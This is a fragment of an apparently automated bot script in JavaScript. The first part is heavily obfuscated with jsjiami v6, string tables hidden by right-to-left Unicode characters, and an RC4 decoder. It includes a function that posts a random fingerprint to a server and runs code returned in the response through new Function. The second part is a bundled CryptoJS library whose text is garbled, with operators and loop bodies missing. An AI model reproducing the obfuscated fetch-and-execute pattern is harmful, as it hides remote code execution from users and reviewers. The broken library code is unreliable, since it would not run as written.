38\x32','\u202b\x38\x33','\x67\x65\x74\x44\x61\x74\x65','\u202e\x38\x34','\u202b\x38\x35','\u202b\x38\x36','\u202e\x38\x37','\u202e\x38\x38','\u202e\x38\x39','\u202b\x38\x61','\u202e\x38\x62','\x67\x65\x74\x4d\x6f\x6e\x74\x68','\u202e\x38\x63','\x74\x65\x73\x74','\u202e\x38\x64','\u202e\x38\x65','\x71\x58\x6a\x64','\u202b\x38\x66','\x73\x75\x62\x73\x74\x72','\u202b\x39\x30','\x6b\x65\x79\x73','\u202e\x39\x31','\u202e\x39\x32','\u202b\x39\x33','\u202e\x39\x34','\u202b\x39\x35','\u202e\x39\x36','\x6a\x73\x4e\x64\x6a\x4e\x69\x61\x41\x6d\x6b\x4d\x69\x2e\x4e\x63\x6f\x49\x6d\x55\x2e\x78\x47\x68\x75\x76\x53\x36\x3d\x3d'];function _0x5108(_0x3342fd,_0x5f6e22){_0x3342fd=~~'0x'['concat'](_0x3342fd['slice'](0x0));var _0x5ad9b9=_0x2cf9[_0x3342fd];return _0x5ad9b9;};(function(_0x3e15ee,_0x7b5eb1){var _0x5323e3=0x0;for(_0x7b5eb1=_0x3e15ee['shift'](_0x5323e3>>0x2);_0x7b5eb1&&_0x7b5eb1!==(_0x3e15ee['pop'](_0x5323e3>>0x3)+'')['replace'](/[NdNAkMNIUxGhuS=]/g,'');_0x5323e3++){_0x5323e3=_0x5323e3^0xde8e3;}}(_0x2cf9,_0x5108));var _0xode=_0x5108('0'),_0xode_=[_0x5108('1')],_0x3e5c=[_0xode,_0x5108('2'),_0x5108('3'),_0x5108('4'),_0x5108('5'),_0x5108('6'),_0x5108('7'),_0x5108('8'),_0x5108('9'),_0x5108('a'),_0x5108('b'),_0x5108('c'),_0x5108('d'),_0x5108('e'),_0x5108('f'),_0x5108('10'),_0x5108('11'),_0x5108('12'),_0x5108('13'),_0x5108('14'),_0x5108('15'),_0x5108('16'),_0x5108('17'),_0x5108('18'),_0x5108('19'),_0x5108('1a'),_0x5108('1b'),_0x5108('1c'),_0x5108('1d'),_0x5108('1e'),_0x5108('1f'),_0x5108('20'),_0x5108('21'),_0x5108('22'),_0x5108('23'),_0x5108('24'),_0x5108('25'),_0x5108('26'),_0x5108('27'),_0x5108('28'),_0x5108('29'),_0x5108('2a'),_0x5108('2b'),_0x5108('2c'),_0x5108('2d'),_0x5108('2e'),_0x5108('2f'),_0x5108('30'),_0x5108('31'),_0x5108('32'),_0x5108('33'),_0x5108('34'),_0x5108('35'),_0x5108('36'),_0x5108('37'),_0x5108('38'),_0x5108('39'),_0x5108('3a'),_0x5108('3b'),_0x5108('3c'),_0x5108('3d'),_0x5108('3e'),_0x5108('3f'),_0x5108('40'),_0x5108('41'),_0x5108('42'),_0x5108('43'),_0x5108('44'),_0x5108('45'),_0x5108('46'),_0x5108('47'),_0x5108('48'),_0x5108('49'),_0x5108('4a'),_0x5108('4b'),_0x5108('4c'),_0x5108('4d'),_0x5108('4e'),_0x5108('4f'),_0x5108('50'),_0x5108('51'),_0x5108('52'),_0x5108('53'),_0x5108('54'),_0x5108('55'),_0x5108('56'),_0x5108('57'),_0x5108('58'),_0x5108('59'),_0x5108('5a'),_0x5108('5b'),_0x5108('5c'),_0x5108('5d'),_0x5108('5e'),_0x5108('5f'),_0x5108('60'),_0x5108('61'),_0x5108('62'),_0x5108('63'),_0x5108('64'),_0x5108('65'),_0x5108('66'),_0x5108('67'),_0x5108('68'),_0x5108('69'),_0x5108('6a'),_0x5108('6b'),_0x5108('6c'),_0x5108('6d'),_0x5108('6e'),_0x5108('6f'),_0x5108('70'),_0x5108('71'),_0x5108('72'),_0x5108('73'),_0x5108('74'),_0x5108('75'),_0x5108('76'),_0x5108('77'),_0x5108('78'),_0x5108('79'),_0x5108('7a'),_0x5108('7b'),_0x5108('7c'),_0x5108('7d'),_0x5108('7e'),_0x5108('7f'),_0x5108('80'),_0x5108('81'),_0x5108('82'),_0x5108('83'),_0x5108('84'),_0x5108('85'),_0x5108('86'),_0x5108('87'),_0x5108('88'),_0x5108('89'),_0x5108('8a'),_0x5108('8b'),_0x5108('8c'),_0x5108('8d'),_0x5108('8e'),_0x5108('8f'),_0x5108('90'),_0x5108('91'),_0x5108('92'),_0x5108('93'),_0x5108('94'),_0x5108('95'),_0x5108('96'),_0x5108('97'),_0x5108('98'),_0x5108('99')];if(function(_0x25cce0,_0x5ef577,_0x21ad34){function _0x3534cb(_0x38c8d4,_0x199698,_0x36add5,_0xed6320,_0xee582c,_0x452be5){_0x199698=_0x199698>>0x8,_0xee582c='\x70\x6f';var _0x1a0d23=_0x5108('9a'),_0x4caed5=_0x5108('9b'),_0x452be5='\u202e';if(_0x199698<_0x38c8d4){while(--_0x38c8d4){_0xed6320=_0x25cce0[_0x1a0d23]();if(_0x199698===_0x38c8d4&&_0x452be5==='\u202e'&&_0x452be5[_0x5108('9c')]===0x1){_0x199698=_0xed6320,_0x36add5=_0x25cce0[_0xee582c+'\x70']();}else if(_0x199698&&_0x36add5[_0x5108('9d')](/[rAykqlwTCTYSrWdy=]/g,'')===_0x199698){_0x25cce0[_0x4caed5](_0xed6320);}}_0x25cce0[_0x4caed5](_0x25cce0[_0x1a0d23]());}return 0xced86;};return _0x3534cb(++_0x5ef577,_0x21ad34)>>_0x5ef577^_0x21ad34;}(_0x3e5c,0x1bd,0x1bd00),_0x3e5c){_0xode_=_0x3e5c[_0x5108('9c')]^0x1bd;};function _0x5722(_0x49c4b5,_0x101f70){_0x49c4b5=~~'\x30\x78'[_0x5108('9e')](_0x49c4b5[_0x5108('9f')](0x1));var _0x2ebba0=_0x3e5c[_0x49c4b5];if(_0x5722[_0x5108('a0')]===undefined){(function(){var _0x54ae35=typeof window!==_0x5108('a1')?window:typeof process===_0x5108('a2')&&typeof require===_0x5108('a3')&&typeof global===_0x5108('a2')?global:this;var _0x9b5eaf=_0x5108('a4');_0x54ae35[_0x5108('a5')]||(_0x54ae35[_0x5108('a5')]=function(_0x1b2c80){var _0xcb5243=String(_0x1b2c80)[_0x5108('9d')](/=+$/,'');for(var _0x1f3d01=0x0,_0x3fa2a8,_0x36a24e,_0x280500=0x0,_0x1658e8='';_0x36a24e=_0xcb5243[_0x5108('a6')](_0x280500++);~_0x36a24e&&(_0x3fa2a8=_0x1f3d01%0x4?_0x3fa2a8*0x40+_0x36a24e:_0x36a24e,_0x1f3d01++%0x4)?_0x1658e8+=String[_0x5108('a7')](0xff&_0x3fa2a8>>(-0x2*_0x1f3d01&0x6)):0x0){_0x36a24e=_0x9b5eaf[_0x5108('a8')](_0x36a24e);}return _0x1658e8;});}());function _0x1c36fa(_0x331474,_0x101f70){var _0x586f4f=[],_0x7de536=0x0,_0x528ef3,_0x47c7a2='',_0x55c43d='';_0x331474=atob(_0x331474);for(var _0x50d116=0x0,_0x27dd5d=_0x331474[_0x5108('9c')];_0x50d116<_0x27dd5d;_0x50d116++){_0x55c43d+='\x25'+('\x30\x30'+_0x331474[_0x5108('a9')](_0x50d116)[_0x5108('aa')](0x10))[_0x5108('9f')](-0x2);}_0x331474=decodeURIComponent(_0x55c43d);for(var _0x494526=0x0;_0x494526<0x100;_0x494526++){_0x586f4f[_0x494526]=_0x494526;}for(_0x494526=0x0;_0x494526<0x100;_0x494526++){_0x7de536=(_0x7de536+_0x586f4f[_0x494526]+_0x101f70[_0x5108('a9')](_0x494526%_0x101f70[_0x5108('9c')]))%0x100;_0x528ef3=_0x586f4f[_0x494526];_0x586f4f[_0x494526]=_0x586f4f[_0x7de536];_0x586f4f[_0x7de536]=_0x528ef3;}_0x494526=0x0;_0x7de536=0x0;for(var _0x586747=0x0;_0x586747<_0x331474[_0x5108('9c')];_0x586747++){_0x494526=(_0x494526+0x1)%0x100;_0x7de536=(_0x7de536+_0x586f4f[_0x494526])%0x100;_0x528ef3=_0x586f4f[_0x494526];_0x586f4f[_0x494526]=_0x586f4f[_0x7de536];_0x586f4f[_0x7de536]=_0x528ef3;_0x47c7a2+=String[_0x5108('a7')](_0x331474[_0x5108('a9')](_0x586747)^_0x586f4f[(_0x586f4f[_0x494526]+_0x586f4f[_0x7de536])%0x100]);}return _0x47c7a2;}_0x5722[_0x5108('ab')]=_0x1c36fa;_0x5722[_0x5108('ac')]={};_0x5722[_0x5108('a0')]=!![];}var _0xd75ca3=_0x5722[_0x5108('ac')][_0x49c4b5];if(_0xd75ca3===undefined){if(_0x5722[_0x5108('ad')]===undefined){_0x5722[_0x5108('ad')]=!![];}_0x2ebba0=_0x5722[_0x5108('ab')](_0x2ebba0,_0x101f70);_0x5722[_0x5108('ac')][_0x49c4b5]=_0x2ebba0;}else{_0x2ebba0=_0xd75ca3;}return _0x2ebba0;};async function requestAlgo(){var _0x162fa0={'fqadZ':function(_0x24ecb1,_0x3c3ebf){return _0x24ecb1!==_0x3c3ebf;},'DbgUc':_0x5722('\u202e\x30',_0x5108('ae')),'FkuqW':function(_0x3574d4){return _0x3574d4();},'sjDWg':_0x5722('\u202b\x31',_0x5108('af')),'XFTCM':function(_0x3a2b38,_0x512e65){return _0x3a2b38|_0x512e65;},'HAWAS':function(_0x2d38de,_0x23bb04){return _0x2d38de(_0x23bb04);},'xchEp':function(_0x49eab1,_0x52b3a8){return _0x49eab1==_0x52b3a8;},'YSvzm':function(_0x3d0a88,_0x560e4e){return _0x3d0a88<_0x560e4e;},'ZFgha':function(_0x13750d,_0xd93e37){return _0x13750d+_0xd93e37;},'WtFpg':function(_0x54c35f,_0x4f62d3){return _0x54c35f-_0x4f62d3;},'quvkT':function(_0x3d85cc,_0x52d409){return _0x3d85cc+_0x52d409;},'ENWZQ':_0x5722('\u202e\x32',_0x5108('b0')),'uMQCR':_0x5722('\u202e\x33',_0x5108('b1')),'QVGNU':_0x5722('\u202e\x34',_0x5108('b2')),'wcqNh':_0x5722('\u202b\x35',_0x5108('b3'))};var _0x44fe8a='',_0x26acd2=_0x5722('\u202b\x36',_0x5108('b4')),_0x238ebb=_0x26acd2,_0x53e994=_0x162fa0[_0x5108('b5')](Math[_0x5108('b6')]()*0xa,0x0);do{ss=_0x162fa0[_0x5108('b7')](getRandomIDPro,{'size':0x1,'customDict':_0x26acd2})+'';if(_0x162fa0[_0x5722('\u202b\x37',_0x5108('b8'))](_0x44fe8a[_0x5722('\u202b\x38',_0x5108('b8'))](ss),-0x1))_0x44fe8a+=ss;}while(_0x162fa0[_0x5722('\u202b\x39',_0x5108('b9'))](_0x44fe8a[_0x5722('\u202e\x61',_0x5108('ba'))],0x3));for(let _0x492cf7 of _0x44fe8a[_0x5722('\u202e\x62',_0x5108('bb'))]())_0x238ebb=_0x238ebb[_0x5722('\u202b\x63',_0x5108('bc'))](_0x492cf7,'');$['\x66\x70']=_0x162fa0[_0x5722('\u202e\x64',_0x5108('bd'))](_0x162fa0[_0x5722('\u202e\x65',_0x5108('be'))](getRandomIDPro({'size':_0x53e994,'customDict':_0x238ebb}),''),_0x44fe8a)+_0x162fa0[_0x5108('b7')](getRandomIDPro,{'size':_0x162fa0[_0x5722('\u202e\x66',_0x5108('bf'))](_0x162fa0[_0x5108('c0')](0xe,_0x162fa0[_0x5108('c1')](_0x53e994,0x3)),0x1),'customDict':_0x238ebb})+_0x53e994+'';$['\x66\x70']=_0x162fa0[_0x5722(_0x5108('c2'),_0x5108('c3'))];let _0x588551={'url':_0x5722(_0x5108('c4'),_0x5108('c5')),'headers':{'Accept':_0x5108('c6'),'Content-Type':_0x162fa0[_0x5722(_0x5108('c7'),_0x5108('c8'))],'Accept-Encoding':_0x162fa0[_0x5108('c9')],'Accept-Language':_0x5722(_0x5108('ca'),_0x5108('bd')),'host':_0x5108('cb'),'Referer':_0x5108('cc'),'User-Agent':_0x5108('cd')},'body':_0x5108('ce')+getRandomIDPro()+_0x5108('cf')+Date[_0x5108('d0')]()+_0x5108('d1')};return new Promise(async _0x1ad6a9=>{if(_0x5722(_0x5108('d2'),_0x5108('b8'))===_0x162fa0[_0x5722(_0x5108('d3'),_0x5108('b1'))]){t=new Date(time);}else{$[_0x5722(_0x5108('d4'),_0x5108('d5'))](_0x588551,(_0x5d8d4a,_0x57641e,_0x274e38)=>{try{if(_0x5d8d4a){console[_0x5108('d6')](''+JSON[_0x5108('d7')](_0x5d8d4a));}else{const {ret,msg,data:{result}={}}=JSON[_0x5108('d8')](_0x274e38);$[_0x5722(_0x5108('d9'),_0x5108('da'))]=result['\x74\x6b'];$[_0x5722(_0x5108('db'),_0x5108('dc'))]=new Function(_0x5722(_0x5108('dd'),_0x5108('bc'))+result[_0x5722(_0x5108('de'),_0x5108('df'))])();}}catch(_0x1b958b){if(_0x162fa0[_0x5108('e0')](_0x162fa0[_0x5108('e1')],_0x162fa0[_0x5722(_0x5108('e2'),_0x5108('ae'))])){}else{}}finally{_0x162fa0[_0x5108('e3')](_0x1ad6a9);}});}});}function getRandomIDPro(){var _0x867da0={'BCJdQ':function(_0x2931e4,_0x5996c4){return _0x2931e4===_0x5996c4;},'oyejR':function(_0x199621,_0x2b4255){return _0x199621===_0x2b4255;},'SWYwd':_0x5722(_0x5108('e4'),_0x5108('af')),'rWvqc':function(_0x30ea7a,_0x4db625){return _0x30ea7a==_0x4db625;},'MLeIJ':_0x5722(_0x5108('e5'),_0x5108('e6')),'CQvOV':_0x5722(_0x5108('e7'),_0x5108('dc')),'BJGKQ':_0x5722(_0x5108('e8'),_0x5108('e9')),'oqzRd':_0x5722(_0x5108('ea'),_0x5108('eb')),'wkDiu':function(_0x5cbe97,_0x5eb150){return _0x5cbe97|_0x5eb150;},'csBpl':function(_0x4f8564,_0x212d92){return _0x4f8564*_0x212d92;}};var _0x6cd4ea,_0x1e2bb4,_0x52e3ee=_0x867da0[_0x5108('ec')](void 0x0,_0x4d3db1=(_0x1e2bb4=0x0{if(new RegExp('\x28'[_0x5722(_0x5108('198'),_0x5108('112'))](_0x5084d6,'\x29'))[_0x5722(_0x5108('199'),_0x5108('112'))](_0x548a06)){var _0x4ab01f,_0x53ea2b='\x53\x2b'===_0x5084d6?_0x550bde[_0x5722(_0x5108('19a'),_0x5108('b2'))]:'\x30\x30';_0x548a06=_0x548a06[_0x5108('9d')](RegExp['\x24\x31'],0x1==RegExp['\x24\x31'][_0x5108('9c')]?_0x4eb534[_0x5084d6]:''[_0x5108('9e')](_0x53ea2b)[_0x5108('9e')](_0x4eb534[_0x5084d6])[_0x5722(_0x5108('19b'),_0x5108('127'))](''[_0x5722(_0x5108('19c'),_0x5108('110'))](_0x4eb534[_0x5084d6])[_0x5108('9c')]));}});return _0x548a06;};_0xode=_0x5108('0');;_0xod2='jsjiami.com.v6'; - - -function CryptoScripts() { - // prettier-ignore - !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return 